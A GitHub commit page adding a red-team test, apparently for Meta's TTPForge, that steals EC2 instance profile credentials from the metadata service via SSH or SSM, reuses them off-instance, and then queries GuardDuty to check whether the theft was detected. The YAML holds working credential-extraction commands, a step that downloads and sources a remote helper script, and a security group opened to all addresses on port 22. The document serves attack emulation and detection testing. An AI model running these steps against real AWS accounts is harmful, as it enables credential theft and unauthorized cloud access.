Skip to content

Commit

Permalink
New TTP: extract-instance-profile-credentials (#86)
Browse files Browse the repository at this point in the history
  • Loading branch information
l50 authored Sep 21, 2023
1 parent b212088 commit fbe1cbd
Show file tree
Hide file tree
Showing 3 changed files with 369 additions and 1 deletion.
2 changes: 1 addition & 1 deletion .asdf
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ setup_language_if_requested() {
local language="$1"

# Check if the language is requested or if no language is specified
if [[ " $* " =~ " $language " ]] || [[ $# -eq 0 ]]; then
if [[ " $* " =~ $language ]] || [[ $# -eq 0 ]]; then
# Setup the language
setup_language "$language" "local"
fi
Expand Down
92 changes: 92 additions & 0 deletions ttps/cloud/aws/ec2/exfil-instance-profile-creds/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
# exfil-instance-profile-creds

![Meta TTP](https://img.shields.io/badge/Meta_TTP-blue)

This TTP is designed to extract instance profile credentials from an EC2
instance. This allows you to potentially exfiltrate role-based credentials
that the EC2 instance may have been assigned, enabling broader
access within the AWS environment.

## Arguments

- **detect**: If set to true, the TTP will query AWS GuardDuty to determine if
the exfiltration was detected.

Default: true

- **vpc_id**: Specifies the VPC ID. If not provided, it defaults to using the
default VPC.

- **subnet_id**: Specifies the Subnet ID within the VPC. If not provided,
it defaults to using the default subnet within the specified or default VPC.

- **security_group_id**: Specifies the Security Group ID. If not provided,
a new security group with name "ttpforge-exfil-instance-profile-creds-sg"
and a description "exfil-instance-profile-creds TTP" is created.

Default: ttpforge-exfil-instance-profile-creds-sg

- **ec2_instance_id**: Specifies the EC2 instance ID. If not provided,
a new instance will be created.

- **ssh_key**: Specifies the SSH key for accessing the EC2 instance.
If provided, SSH will be used to extract the instance profile credentials.
If not provided, the Amazon Systems Manager (SSM) will be used.

## Pre-requisites

1. A valid set of AWS credentials. They can be provided through environment
variables: `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`,
`AWS_SESSION_TOKEN`, or `AWS_PROFILE`.

1. The AWS CLI is installed.

1. The `jq` utility must be available for parsing JSON responses from AWS services.

1. For accessing instances, either an SSH key must be provided or the EC2
instances should have the necessary permissions and setup for using
Amazon Systems Manager (SSM).

## Examples

Extract instance profile credentials from an EC2 instance within a
specified VPC, Subnet, and EC2 instance using SSM and detect
any exfiltration attempts:

```bash
ttpforge run forgearmory//cloud/aws/ec2/exfil-instance-profile-creds/exfil-instance-profile-creds.yaml \
--arg vpc_id=vpc-12345678 \
--arg subnet_id=subnet-12345678 \
--arg ec2_instance_id=i-12345678
```

Extract instance profile credentials using SSH, specifying an SSH key:

```bash
ttpforge run forgearmory//cloud/aws/ec2/exfil-instance-profile-creds/exfil-instance-profile-creds.yaml \
--arg vpc_id=vpc-12345678 \
--arg subnet_id=subnet-12345678 \
--arg ec2_instance_id=i-12345678 \
--arg ssh_key=/path/to/ssh_key.pem
```

## Steps

1. **ensure-aws-creds-present**: This step ensures that valid AWS credentials
are set using environment variables.

1. **ensure-bins-present**: Validates that the relevant binaries to
execute this TTP are installed on the system.

1. **get-aws-utils**: Downloads a set of AWS utilities which are required for
subsequent operations.

1. **create-or-use-ec2-and-exfiltrate-instance-profile**: The core step which either
uses provided AWS resources (like VPC, Subnet, Security Group, EC2 Instance) or
defaults/creates them. It then attempts to exfiltrate the instance profile
credentials either using SSH (if an SSH key is provided)
or Amazon Systems Manager (SSM).

1. **check-detection**: If `detect` is set to true, this step will check
AWS GuardDuty for findings related to the exfiltration attempt within a
specified time window. If any findings match the expected type, an alert is raised.
Original file line number Diff line number Diff line change
@@ -0,0 +1,276 @@
---
name: exfil-instance-profile-creds
description: Extract instance profile credentials from an EC2 instance.
args:
- name: detect
default: true
- name: vpc_id
default: nil
- name: subnet_id
default: nil
- name: security_group_id
default: ttpforge-exfil-instance-profile-creds-sg
- name: ec2_instance_id
default: nil
- name: ssh_key
default: nil

steps:
- name: ensure-aws-creds-present
inline: |
set -e
if [[ -z "${AWS_DEFAULT_REGION}" ]]; then
echo "Error: AWS_DEFAULT_REGION must be set."
exit 1
fi
if [[ -n "${AWS_ACCESS_KEY_ID}" && -n "${AWS_SECRET_ACCESS_KEY}" ]]; then
if [[ -z "${AWS_SESSION_TOKEN}" ]]; then
echo "Warning: AWS_SESSION_TOKEN is not set with AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY."
fi
elif [[ -z "${AWS_PROFILE}" ]]; then
echo "Error: AWS credentials are not set, exiting."
exit 1
fi
- name: ensure-bins-present
inline: |
set -e
if ! [[ -x "$(command -v aws)" ]]; then
echo 'Error: AWS CLI is not installed.' >&2
else
echo -e "AWS CLI is installed: $(aws --version)"
fi
if ! [[ -x "$(command -v jq)" ]]; then
echo 'Error: jq is not installed.' >&2
else
echo -e "jq is installed: $(jq --version)"
fi
- name: ensure-valid-input
inline: |
set -e
# Validate ec2_instance_id
if [[ "{{ .Args.ec2_instance_id }}" != nil && ! "{{ .Args.ec2_instance_id }}" =~ ^i-[a-fA-F0-9]{17}$ ]]; then
echo "Error: Invalid EC2 instance ID: {{ .Args.ec2_instance_id }}"
exit 1
fi
# Validate vpc_id
if [[ "{{ .Args.vpc_id }}" != nil && ! "{{ .Args.vpc_id }}" =~ ^vpc-[a-fA-F0-9]{8,17}$ ]]; then
echo "Error: Invalid VPC ID: {{ .Args.vpc_id }}"
exit 1
fi
# Validate subnet_id
if [[ "{{ .Args.subnet_id }}" != nil && ! "{{ .Args.subnet_id }}" =~ ^subnet-[a-fA-F0-9]{8,17}$ ]]; then
echo "Error: Invalid Subnet ID: {{ .Args.subnet_id }}"
exit 1
fi
# Validate security_group_id
if [[ "{{ .Args.security_group_id }}" != "ttpforge-exfil-instance-profile-creds-sg" && ! "{{ .Args.security_group_id }}" =~ ^sg-[a-fA-F0-9]{8,17}$ ]]; then
echo "Error: Invalid Security Group ID: {{ .Args.security_group_id }}"
exit 1
fi
# Validate ssh_key - Just check if it exists if provided
if [[ "{{ .Args.ssh_key }}" != nil && ! -f "{{ .Args.ssh_key }}" ]]; then
echo "Error: SSH key file '{{ .Args.ssh_key }}' not found."
exit 1
fi
# Validate detect - It should either be true or false
if [[ "{{ .Args.detect }}" != "true" && "{{ .Args.detect }}" != "false" ]]; then
echo "Error: Invalid value for detect: {{ .Args.detect }}"
exit 1
fi
- name: get-aws-utils
inline: |
set -e
# Define the URL of aws utilities
aws_utils_url="https://raw.githubusercontent.com/l50/dotfiles/main/aws"
# Define the local path of aws utilities
aws_utils_path="/tmp/aws"
# Check if aws utilities exists locally
if [[ ! -f "${aws_utils_path}" ]]; then
# aws utilities isn't present locally, so download it
curl -s "${aws_utils_url}" -o "${aws_utils_path}"
fi
- name: create-or-use-ec2-and-exfiltrate-instance-profile
inline: |
set -e
aws_utils_path="/tmp/aws"
# Source /tmp/aws
# shellcheck source=/dev/null
source "${aws_utils_path}"
# Use provided VPC ID or find the default VPC
if [[ "{{ .Args.vpc_id }}" != "nil" ]]; then
VPC_ID="{{ .Args.vpc_id }}"
else
VPC_ID=$(find_default_vpc)
fi
# Use provided subnet ID or find the default subnet
if [[ "{{ .Args.subnet_id }}" != "nil" ]]; then
SUBNET_ID="{{ .Args.subnet_id }}"
else
SUBNET_ID=$(find_default_subnet $VPC_ID)
fi
# Use provided security group ID or create a new one
if [[ "{{ .Args.security_group_id }}" != nil ]]; then
SECURITY_GROUP_ID="{{ .Args.security_group_id }}"
else
SECURITY_GROUP_ID=$(authorize_security_group_ingress "" "exfil-instance-profile-creds TTP", "$VPC_ID" "tcp" 22 "0.0.0.0/0")
fi
# Get latest AMI ID
AMI_ID=$(get_latest_ami "ubuntu" "22.04" "amd64")
export AMI_ID
# Use provided EC2 instance ID or create a new one
if [[ "{{ .Args.ec2_instance_id }}" != nil ]]; then
INSTANCE_ID="{{ .Args.ec2_instance_id }}"
else
INSTANCE_ID=$(create_ec2_instance {{ .Args.ec2_instance_id }})
fi
export INSTANCE_ID
# Extract role name from the ARN
ROLE_NAME=$(echo "$CALLER_IDENTITY" | jq -r .Arn | awk -F"/" '{print $2}' | awk -F":" '{print $1}')
export ROLE_NAME
# Check if an SSH key was provided
if [[ "{{ .Args.ssh_key }}" != nil ]]; then
echo -e "Using provided SSH key to fetch role credentials from the target ec2 instance"
# SSH into the instance
IP_ADDRESS=$(get_instance_ip "$INSTANCE_ID")
ssh -i "{{ .Args.ssh_key }}" ubuntu@$IP_ADDRESS "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Fetch role credentials from the instance using SSH
CREDENTIALS=$(ssh -i "{{ .Args.ssh_key }}" ubuntu@$IP_ADDRESS "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME")
else
echo -e "Using SSM to fetch role credentials from the target ec2 instance"
# Fetch role credentials using SSM
CREDENTIALS=$(get_instance_role_credentials {{ .Args.ec2_instance_id }})
fi
# Parse the JSON output to fetch AWS_ACCESS_KEY_ID,
# AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN
AWS_ACCESS_KEY_ID=$(echo "$CREDENTIALS" | jq -r .AccessKeyId)
export AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY=$(echo "$CREDENTIALS" | jq -r .SecretAccessKey)
export AWS_SECRET_ACCESS_KEY
AWS_SESSION_TOKEN=$(echo "$CREDENTIALS" | jq -r .Token)
export AWS_SESSION_TOKEN
# Confirm role was stolen successfully (run locally)
aws sts get-caller-identity --no-cli-pager
# Get caller identity
CALLER_IDENTITY=$(aws sts get-caller-identity --no-cli-pager)
# Extract the Arn field
CALLER_ARN=$(echo "$CALLER_IDENTITY" | jq -r .Arn)
# Check if the Arn contains the expected role
if [[ $CALLER_ARN == *"/$ROLE_NAME"* ]]; then
echo "Successfully stole instance profile credentials and ran them on a non-AWS system!"
else
echo "Failed to steal instance profile credentials."
exit 1
fi
cleanup:
inline: |
set -e
aws_utils_path="/tmp/aws"
# Source /tmp/aws
# shellcheck source=/dev/null
source "${aws_utils_path}"
# Only delete the ec2 instance if we created it.
if [[ "{{ .Args.ec2_instance_id }}" == nil ]]; then
INSTANCE_TO_TERMINATE="{{ .Args.ec2_instance_id }}"
if [[ -z "$INSTANCE_TO_TERMINATE" ]]; then
echo "No instance ID provided for termination."
else
terminate_instance "$INSTANCE_TO_TERMINATE"
echo "Terminated instance $INSTANCE_TO_TERMINATE."
fi
fi
# Only delete security group if it's the default one
if [[ "{{ .Args.security_group_id }}" == "ttpforge-exfil-instance-profile-creds-sg" ]]; then
delete_security_group "{{ .Args.security_group_id }}"
fi
- name: check-detection
inline: |
set -e
if [[ "{{ .Args.detect }}" == true ]]; then
current_time() {
date -u +'%Y-%m-%dT%H:%M:%SZ'
}
ten_minutes_ago() {
if [[ "$OSTYPE" == "darwin"* ]]; then
date -v-10M -u +'%Y-%m-%dT%H:%M:%SZ'
else
date -u -d '10 minutes ago' +'%Y-%m-%dT%H:%M:%SZ'
fi
}
# Define a time window for AWS GuardDuty
START_TIME=$(ten_minutes_ago)
END_TIME=$(current_time)
# The finding type to look for
FINDING_TYPE="UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS"
DETECTORS=$(aws guardduty list-detectors --output json)
DETECTOR_IDS=$(echo "$DETECTORS" | jq -r '.DetectorIds[]')
for DETECTOR_ID in $DETECTOR_IDS; do
FINDINGS=$(aws guardduty list-findings --detector-id "$DETECTOR_ID" --output json)
FINDING_IDS=$(echo "$FINDINGS" | jq -r '.FindingIds[]')
if [[ -z "$FINDING_IDS" ]]; then
echo "No $FINDING_TYPE event detected in the last 10 minutes"
else
for FINDING_ID in $FINDING_IDS; do
FINDING=$(aws guardduty get-findings --detector-id "$DETECTOR_ID" --finding-ids "$FINDING_ID" --output json)
UPDATED_AT=$(echo "$FINDING" | jq -r '.Findings[0].UpdatedAt')
if [[ "$OSTYPE" == "darwin"* ]]; then
if [[ $(date -j -f '%Y-%m-%dT%H:%M:%SZ' "$END_TIME" +%s 2> /dev/null) -gt $(date -j -f '%Y-%m-%dT%H:%M:%SZ' "$START_TIME" +%s 2> /dev/null) ]]; then
echo "UnauthorizedAccess finding detected!"
fi
else
# Linux
if [[ $(date -u -d "$UPDATED_AT" +%s 2> /dev/null) -gt $(date -u -d "$START_TIME" +%s 2> /dev/null) ]] \
&& [[ $(date -u -d "$UPDATED_AT" +%s 2> /dev/null) -lt $(date -u -d "$END_TIME" +%s 2> /dev/null) ]]; then
echo -e "UnauthorizedAccess finding detected!"
fi
fi
done
fi
done
fi

0 comments on commit fbe1cbd

Please sign in to comment.